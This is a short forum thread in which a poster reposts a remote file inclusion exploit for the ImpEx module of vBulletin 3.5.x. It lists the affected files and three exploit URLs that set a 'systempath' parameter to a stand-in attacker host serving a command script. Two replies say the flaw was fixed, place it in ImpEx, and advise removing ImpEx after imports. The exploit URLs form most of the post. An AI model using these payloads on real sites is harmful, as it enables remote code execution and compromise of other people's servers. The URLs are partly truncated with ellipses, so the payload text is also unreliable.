3.5.4 vBulletin Exploit

[NEWLiNE]

I came across this on the internet...

Remote File Inclusion in VBulletin

version :

VBulletin 3.5.1
VBulletin 3.5.2
VBulletin 3.5.4

The bug reside in :

ImpExModule.php
ImpExController.php
ImpExDisplay.php

Exploit :

(1)
http://www.site.com/forum/impex/ImpE...hp?systempath=
class="fixed">http://www.host_evil.com/cmd?&=id

(2)
http://www.site.com/forum/impex/ImpE...hp?systempath=
class="fixed">http://www.host_evil.com/cmd?&=id

(3)
http://www.site.com/forum/impex/ImpE...hp?systempath=
class="fixed">http://www.host_evil.com/cmd?&=id

[Boxy]

This was fixed a little while back.

[Jerry]

Indeed, this was fixed a while ago, and to clarify its was an issue with ImpEx not vBulletin itself.

ImpEx should always be removed after an import is successful.